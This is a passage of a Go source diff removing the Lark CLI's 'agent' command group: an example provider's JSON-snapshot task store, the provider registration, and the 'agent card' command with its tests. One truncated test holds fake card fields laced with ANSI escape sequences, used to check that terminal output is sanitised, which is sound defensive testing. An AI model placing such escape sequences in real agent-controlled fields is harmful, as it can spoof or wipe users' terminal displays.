-	Seq       int      `json:"seq"`
-	TaskIDs   []string `json:"task_ids"`
-}
-
-// memoryStore is the package-level state machine itself: mu covers all fields;
-// path is the JSON snapshot location; loaded ensures the snapshot is read only
-// once, on first access.
-type memoryStore struct {
-	mu     sync.Mutex
-	path   string
-	loaded bool
-
-	Contexts map[string]*contextRecord `json:"contexts"`
-	Tasks    map[string]*taskRecord    `json:"tasks"`
-	NextSeq  int                       `json:"next_seq"`
-}
-
-// store is the package-level singleton. Tests use swapStoreForTest to replace it
-// with an instance pointing at t.TempDir, avoiding cross-contamination between
-// tests and between tests and the local demo state.
-var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
-
-func newMemoryStore(path string) *memoryStore {
-	return &memoryStore{
-		path:     path,
-		Contexts: map[string]*contextRecord{},
-		Tasks:    map[string]*taskRecord{},
-	}
-}
-
-// loadLocked lazily reads in the snapshot (the caller must already hold the
-// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
-// mock's demo data is not worth erroring over, so it just starts fresh.
-func (s *memoryStore) loadLocked() {
-	if s.loaded {
-		return
-	}
-	s.loaded = true
-	data, err := vfs.ReadFile(s.path)
-	if err != nil {
-		return
-	}
-	var snap memoryStore
-	if json.Unmarshal(data, &snap) != nil {
-		return
-	}
-	if snap.Contexts != nil {
-		s.Contexts = snap.Contexts
-	}
-	if snap.Tasks != nil {
-		s.Tasks = snap.Tasks
-	}
-	s.NextSeq = snap.NextSeq
-}
-
-// saveLocked writes the current state back to the snapshot (the caller must
-// already hold the lock). A write failure returns a typed internal error
-// (storage subtype) — the mock does not swallow errors either: silently losing
-// state would make the next command report "task not found", which is harder to
-// diagnose than a clear error.
-func (s *memoryStore) saveLocked() error {
-	data, err := json.MarshalIndent(s, "", "  ")
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
-	}
-	if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
-	}
-	return nil
-}
-
-// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
-// deliberately aligns with the command layer's meta.next interpolation
-// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
-// string "the AI copies and runs", and an id with shell metacharacters would
-// cause the whole hint to be suppressed.
-func newID(prefix string) string {
-	var b [6]byte
-	if _, err := rand.Read(b[:]); err != nil {
-		// crypto/rand being unavailable is an environment-level failure; the mock
-		// degrades to a timestamp that still satisfies the character set.
-		return prefix + "_" + time.Now().UTC().Format("20060102150405")
-	}
-	return prefix + "_" + hex.EncodeToString(b[:])
-}
-
-// createContext creates a new context and returns its id (the first-turn send goes here).
-func (s *memoryStore) createContext(agentID, title string) (string, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	id := newID("ctx")
-	s.NextSeq++
-	s.Contexts[id] = &contextRecord{
-		AgentID:   agentID,
-		ContextID: id,
-		CreatedAt: time.Now().UTC().Format(time.RFC3339),
-		Title:     title,
-		Seq:       s.NextSeq,
-	}
-	return id, s.saveLocked()
-}
-
-// createTask appends a task under ctxID: validate context ownership → compute
-// the round (which task number in this conversation) → call build under the lock
-// to construct the task → insert and write the snapshot. build runs inside the
-// lock to guarantee "compute the round" and "store the task" are atomic, so two
-// concurrent sends never get the same round.
-// An unknown / cross-agent context id returns a typed validation error (teaching
-// point: every error a provider returns must be typed — a bare error would land
-// as internal/exit 5, whereas this is clearly "the caller passed a wrong
-// argument", semantically invalid_argument/exit 2, and the AI relies on this
-// classification to decide between "fix the argument and retry" and "report an
-// environment failure").
-func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	task := build(len(ctx.TaskIDs) + 1)
-	// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
-	// created_at == updated_at; a real provider bumps updated_at on every status
-	// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
-	// lexicographic order equals chronological order (relied on by the rollup).
-	now := time.Now().UTC().Format(time.RFC3339)
-	task.CreatedAt = now
-	task.UpdatedAt = now
-	s.NextSeq++
-	s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
-	ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
-	return task, s.saveLocked()
-}
-
-// getTask fetches a task snapshot by id (returns a copy by value, so the command
-// layer's in-place edits like normalizeTask do not write through to store). A
-// cross-agent task is treated as "not found", without leaking another agent's state.
-func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok || rec.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
-			WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
-	}
-	return rec.Task, nil
-}
-
-// setTaskState updates a task's state (used by reporter's cancel).
-func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
-	}
-	rec.Task.State = state
-	rec.Task.IsTerminal = state.IsTerminal()
-	rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
-	return s.saveLocked()
-}
-
-// listTasks lists an agent's task summaries, optionally filtered by contextID
-// (empty string means no filter), output in creation order. IsTerminal is
-// carried along here for convenience, but the command layer re-derives it from
-// State via normalizeTask* (single source), so the integrator need not worry
-// about this field.
-func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*taskRecord, 0, len(s.Tasks))
-	for _, rec := range s.Tasks {
-		if rec.AgentID != agentID {
-			continue
-		}
-		if contextID != "" && rec.Task.ContextID != contextID {
-			continue
-		}
-		recs = append(recs, rec)
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.TaskSummary, 0, len(recs))
-	for _, rec := range recs {
-		out = append(out, taskSummaryOf(rec.Task))
-	}
-	return out
-}
-
-// listContexts lists an agent's context summaries, output in creation order.
-func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*contextRecord, 0, len(s.Contexts))
-	for _, ctx := range s.Contexts {
-		if ctx.AgentID == agentID {
-			recs = append(recs, ctx)
-		}
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.ContextSummary, 0, len(recs))
-	for _, ctx := range recs {
-		updatedAt, taskCount, awaiting, _ := s.contextRollupLocked(ctx)
-		out = append(out, agent.ContextSummary{
-			ContextID:     ctx.ContextID,
-			CreatedAt:     ctx.CreatedAt,
-			UpdatedAt:     updatedAt,
-			Title:         ctx.Title,
-			TaskCount:     taskCount,
-			AwaitingInput: awaiting,
-		})
-	}
-	return out
-}
-
-// getContext returns a context's detail: metadata plus a rollup (updated_at,
-// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
-// with the latest updated_at; nil for an empty context). It deliberately does NOT
-// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
-// `agent task list --context-id`.
-func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
-	detail := &agent.ContextDetail{
-		ContextID:     ctx.ContextID,
-		CreatedAt:     ctx.CreatedAt,
-		UpdatedAt:     updatedAt,
-		Title:         ctx.Title,
-		TaskCount:     taskCount,
-		AwaitingInput: awaiting,
-	}
-	if active != nil {
-		summary := taskSummaryOf(active.Task)
-		detail.ActiveTask = &summary
-	}
-	return detail, nil
-}
-
-// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
-func (s *memoryStore) deleteContext(agentID, ctxID string) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	for _, tid := range ctx.TaskIDs {
-		delete(s.Tasks, tid)
-	}
-	delete(s.Contexts, ctxID)
-	return s.saveLocked()
-}
-
-// ── Derived rollups (the enriched-summary provider side) ──
-
-// summaryMaxRunes is the rune budget for a task Summary — a one-line content
-// digest, not full content. Truncation is rune-safe so a multibyte character is
-// never cut in half.
-const summaryMaxRunes = 100
-
-// contextRollupLocked derives a context's summary fields from its tasks (the
-// caller must already hold the lock). updatedAt is the newest task updated_at,
-// falling back to the context's created_at when it has no tasks; awaitingInput is
-// set when any task sits in input_required/auth_required; active is the task with
-// the latest updated_at (ties broken by creation order so it is deterministic),
-// nil when the context is empty.
-func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
-	updatedAt = ctx.CreatedAt
-	for _, tid := range ctx.TaskIDs {
-		rec, ok := s.Tasks[tid]
-		if !ok {
-			continue
-		}
-		taskCount++
-		if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
-			updatedAt = rec.Task.UpdatedAt
-		}
-		if isAwaiting(rec.Task.State) {
-			awaitingInput = true
-		}
-		if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
-			(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
-			active = rec
-		}
-	}
-	return updatedAt, taskCount, awaitingInput, active
-}
-
-// isAwaiting reports whether a state is paused waiting on the caller (the
-// awaiting_input rollup bit).
-func isAwaiting(state agent.TaskState) bool {
-	return state == agent.StateInputRequired || state == agent.StateAuthRequired
-}
-
-// taskSummaryOf projects a stored task into its list/active summary, carrying the
-// timestamp and the one-line content digest alongside the identity fields.
-func taskSummaryOf(task agent.AgentTask) agent.TaskSummary {
-	return agent.TaskSummary{
-		TaskID:     task.TaskID,
-		ContextID:  task.ContextID,
-		State:      task.State,
-		IsTerminal: task.IsTerminal,
-		UpdatedAt:  task.UpdatedAt,
-		Summary:    taskSummaryText(task),
-	}
-}
-
-// taskSummaryText is the one-line content digest: the pending prompt for a task
-// awaiting input, otherwise the last agent message's text. It returns RAW text
-// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
-// command layer's job, and it is empty when nothing is available.
-func taskSummaryText(task agent.AgentTask) string {
-	if task.InputRequired != nil && task.InputRequired.Prompt != "" {
-		return truncateRunes(task.InputRequired.Prompt, summaryMaxRunes)
-	}
-	for i := len(task.Messages) - 1; i >= 0; i-- {
-		if task.Messages[i].Role != "agent" {
-			continue
-		}
-		for _, p := range task.Messages[i].Parts {
-			if p.Type == "text" && p.Text != "" {
-				return truncateRunes(p.Text, summaryMaxRunes)
-			}
-		}
-	}
-	return ""
-}
-
-// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
-// does not append an ellipsis: the Summary is meant to be raw text.
-func truncateRunes(s string, max int) string {
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max])
-}

agent/register.go

@@ -1,26 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent is the top-level business layer that wires the in-repo agent
-// providers into the framework registry (internal/agent). It mirrors the events
-// layering: the framework/SPI lives in internal/agent, each concrete provider is
-// a declarative agent.Provider value exposed by a package under agent/<scheme>/,
-// and this package's init aggregates and registers them. Blank-import this
-// package from cmd to populate the provider registry.
-//
-// To onboard a new provider: add agent/<scheme>/ exposing a Provider() value,
-// then add one line to the slice below.
-package agent
-
-import (
-	"github.com/larksuite/cli/agent/example"
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-func init() {
-	for _, p := range []iagent.Provider{
-		example.Provider(),
-	} {
-		iagent.Register(p)
-	}
-}

cmd/agent/agent.go

@@ -1,29 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-)
-
-// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
-// that drives remote A2A agents with constant verbs. It is a pure group with
-// no RunE, so an unknown subcommand is reported rather than silently
-// swallowed. All five verbs (list/card/send/task/context) are wired here; task
-// and context are themselves nested groups.
-func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "agent",
-		Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
-		Long:  "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
-	}
-	cmd.AddCommand(NewCmdAgentList(f))
-	cmd.AddCommand(NewCmdAgentCard(f))
-	cmd.AddCommand(NewCmdAgentSend(f, nil))
-	cmd.AddCommand(NewCmdAgentTask(f))
-	cmd.AddCommand(NewCmdAgentContext(f))
-	return cmd
-}

cmd/agent/agent_test.go

@@ -1,34 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-// TestAgentCommandTree pins the shape of the `agent` command tree: the group
-// itself must have no RunE/Run (a bare group whose unknown subcommands surface
-// an error rather than being silently swallowed), and it must expose all five
-// verbs plus the nested task/context sub-groups.
-func TestAgentCommandTree(t *testing.T) {
-	cmd := NewCmdAgent(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
-	}
-	want := []string{"list", "card", "send", "task", "context"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand %s", name)
-		}
-	}
-	// task/context are nested groups
-	if task := findSub(cmd, "task"); task == nil {
-		t.Error("missing agent task group")
-	} else if findSub(task, "get") == nil {
-		t.Error("missing agent task get")
-	}
-	if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
-		t.Error("missing agent context group")
-	} else if findSub(ctxCmd, "delete") == nil {
-		t.Error("missing agent context delete")
-	}
-}

cmd/agent/card.go

@@ -1,183 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardOptions holds all inputs for `agent card <ref>`.
-type cardOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	As      string
-	Format  string
-}
-
-// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
-// capability card. Adapters synthesize the card statically from their known
-// capability matrix — no API call is made, and the command works offline /
-// under mock. Risk=read.
-func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
-	opts := &cardOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "card <agent_ref>",
-		Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
-		Long:  "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentCardRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentCardRun resolves the provider addressed by ref and emits its capability
-// card. The card is first-party static data (not agent-generated content), so
-// it bypasses content-safety scanning. The JSON success envelope is the
-// default; --format pretty opts into the human-readable listing. A --jq
-// expression forces JSON (jq operates on the envelope) and, when present,
-// filters stdout.
-func agentCardRun(opts *cardOptions) error {
-	f := opts.Factory
-	// Resolution is fully offline (no client), so `agent card` works before
-	// config init. The capability matrix + static metadata are always available.
-	prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Best-effort remote enrichment: if a client is configured, pass a runtime so
-	// a provider's Describe can fill Name/Description from the platform; otherwise
-	// rt stays nil and BuildCard returns the offline (caps + static) card.
-	var rt iagent.Runtime
-	if r, rerr := runtimeFor(f, id, agentID); rerr == nil {
-		rt = r
-	}
-	card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, rt)
-
-	jq := jqExpr(opts.Cmd)
-	// pretty is a human view only; a --jq expression implies structured JSON,
-	// so it takes precedence over the pretty format.
-	if opts.Format == "pretty" && jq == "" {
-		printCardPretty(f.IOStreams.Out, card)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     card,
-		Notice:   output.GetNotice(),
-	}
-	if jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// printCardPretty writes a compact human-readable view of an agent card:
-// identity header (with per-identity preconditions), the sorted capability
-// matrix, declared parameters and skills — the key constraints an AI reads
-// from json must also be visible to a human. Remote cards carry
-// agent-controlled Name/Description/Desc
-// strings, so every such field is ANSI-stripped before hitting the terminal.
-// Nil cards degrade to a placeholder line rather than panicking.
-func printCardPretty(w io.Writer, card *iagent.AgentCard) {
-	if card == nil {
-		fmt.Fprintln(w, "(no card)")
-		return
-	}
-	// Dynamic cards carry a Name; static cards fall back to the provider label.
-	name := card.Name
-	if name == "" {
-		name = card.ProviderLabel
-	}
-	fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
-	if card.Description != "" {
-		fmt.Fprintf(w, "  %s\n", stripANSI(card.Description))
-	}
-	if len(card.Identity) > 0 {
-		ids := make([]string, 0, len(card.Identity))
-		for _, spec := range card.Identity {
-			id := string(spec.Type)
-			if spec.Precondition != "" {
-				id += "（前置: " + stripANSI(spec.Precondition) + "）"
-			}
-			ids = append(ids, id)
-		}
-		fmt.Fprintf(w, "  identity: %s\n", strings.Join(ids, ", "))
-	}
-
-	fmt.Fprintln(w, "  capabilities:")
-	// Capabilities is a closed struct; iterate in fixed alphabetical key order,
-	// matching the sorted output of the earlier map-based representation.
-	for _, k := range []string{
-		iagent.CapArtifactDownload,
-		iagent.CapContextDelete,
-		iagent.CapContextGet,
-		iagent.CapContextList,
-		iagent.CapFileInput,
-		iagent.CapInputRequired,
-		iagent.CapTaskCancel,
-		iagent.CapTaskGet,
-		iagent.CapTaskList,
-	} {
-		mark := "no"
-		if card.Supports(k) {
-			mark = "yes"
-		}
-		fmt.Fprintf(w, "    %-20s %s\n", k, mark)
-	}
-
-	if len(card.Parameters) > 0 {
-		fmt.Fprintln(w, "  parameters:")
-		for _, pr := range card.Parameters {
-			req := ""
-			if pr.Required {
-				req = " (required)"
-			}
-			fmt.Fprintf(w, "    %s: %s%s", pr.Name, pr.Type, req)
-			if pr.Desc != "" {
-				fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
-			}
-			fmt.Fprintln(w)
-		}
-	}
-
-	if len(card.Skills) > 0 {
-		fmt.Fprintln(w, "  skills:")
-		for _, sk := range card.Skills {
-			name := sk.Name
-			if name == "" {
-				name = sk.ID
-			}
-			fmt.Fprintf(w, "    %s\n", stripANSI(name))
-		}
-	}
-}

cmd/agent/card_test.go

@@ -1,286 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardTestOpts builds a cardOptions driving agentCardRun against a real
-// (test) Factory. The example card is synthesized statically, so no API call
-// is made and stdout carries the capability card envelope.
-func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
-	t.Helper()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
-	return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
-}
-
-// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
-// returns the statically synthesized capability card (no API), with
-// task_cancel gated off and the three context_* caps on, and the agent_id
-// echoed from the ref.
-func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card should be statically synthesized and not error: %v", err)
-	}
-
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v", err)
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be a card object, got %T", env.Data)
-	}
-	if data["agent_id"] != "echo" {
-		t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
-	}
-	if data["provider"] != "example" {
-		t.Errorf("provider should be example, got %v", data["provider"])
-	}
-	// source was removed from the card (schema tightening).
-	if _, present := data["source"]; present {
-		t.Errorf("card should no longer carry a source field, got %v", data["source"])
-	}
-	caps, ok := data["capabilities"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
-	}
-	if caps["task_cancel"] != false {
-		t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
-	}
-	if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
-		t.Errorf("echo should support the three context capabilities, got %v", caps)
-	}
-	// parameters / identity must serialize as non-null (guard against omitempty
-	// regression): parameters is always an array (empty [] for example),
-	// identity is a non-empty array.
-	if params, ok := data["parameters"].([]interface{}); !ok {
-		t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
-	} else if len(params) != 0 {
-		t.Errorf("example parameters should be an empty array, got %v", params)
-	}
-	if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
-		t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
-	}
-	// card no longer exposes scope: the required_scopes field was removed from
-	// AgentCard (scope is an internal registration item used only for preflight).
-	if _, present := data["required_scopes"]; present {
-		t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
-	}
-}
-
-// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
-// since the json default flip), the card renders as a human-readable listing.
-// The output must surface the identity and capability names in plain text so
-// the stream is not valid envelope JSON.
-func TestAgentCardRun_PrettyFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card pretty should not error: %v", err)
-	}
-
-	text := string(out.Bytes())
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.Contains(text, "echo") {
-		t.Errorf("pretty output should contain agent_id: %s", text)
-	}
-	// context_list is a declared capability of the echo card; it must appear.
-	if !strings.Contains(text, "context_list") {
-		t.Errorf("pretty output should list capabilities: %s", text)
-	}
-}
-
-// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
-func TestAgentCardRun_JSONFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "json"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card json should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must actually be REGISTERED on `agent card` (the run path already
-// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
-// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
-// the real command so registration + consumption are proven together.
-func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := NewCmdAgentCard(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("card --jq should not error: %v", err)
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
-// line instead of panicking (card.go nil branch).
-func TestPrintCardPretty_NilCard(t *testing.T) {
-	out := &bytes.Buffer{}
-	printCardPretty(out, nil)
-	if !strings.Contains(out.String(), "(no card)") {
-		t.Errorf("nil card should print a placeholder line, got: %q", out.String())
-	}
-}
-
-// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
-// the pretty renderer that a minimal static card omits: the dynamic-card Name
-// (taking precedence over ProviderLabel), Description, declared Parameters, and
-// the Skills block (both the named skill and the id-fallback when Name is empty).
-func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		Name:          "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
-		AgentID:       "agt_demo",
-		Description:   "a helpful demo agent",
-		Identity: []iagent.IdentitySpec{
-			{Type: "user"},
-			{Type: "bot", Precondition: "需加入渠道白名单"},
-		},
-		Capabilities: iagent.Capabilities{
-			ContextList: true,
-			TaskCancel:  false,
-		},
-		Parameters: []iagent.CardParam{
-			{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
-		},
-		Skills: []iagent.CardSkill{
-			{ID: "sk_1", Name: "Sales Analysis"},
-			{ID: "sk_2"}, // no Name → falls back to ID
-		},
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-
-	for _, want := range []string{
-		"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
-		"a helpful demo agent",  // Description branch
-		"identity: user, bot",   // IdentitySpec types are joined
-		"需加入渠道白名单",              // identity precondition must be visible in pretty (Task 11 wrap-up)
-		"locale",                // Parameters branch
-		"skills:",               // Skills block header
-		"Sales Analysis",        // skill with a Name
-		"sk_2",                  // skill without a Name → id fallback
-	} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-}
-
-// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
-// agent-controlled Name/Description cannot smuggle ANSI escapes to the
-// terminal (this sanitization is applied to every pretty surface).
-func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:    "demo",
-		AgentID:     "agt_demo",
-		Name:        "\x1b[31mEvil\x1b[0m Agent",
-		Description: "desc\x1b[2Jwipe",
-	}
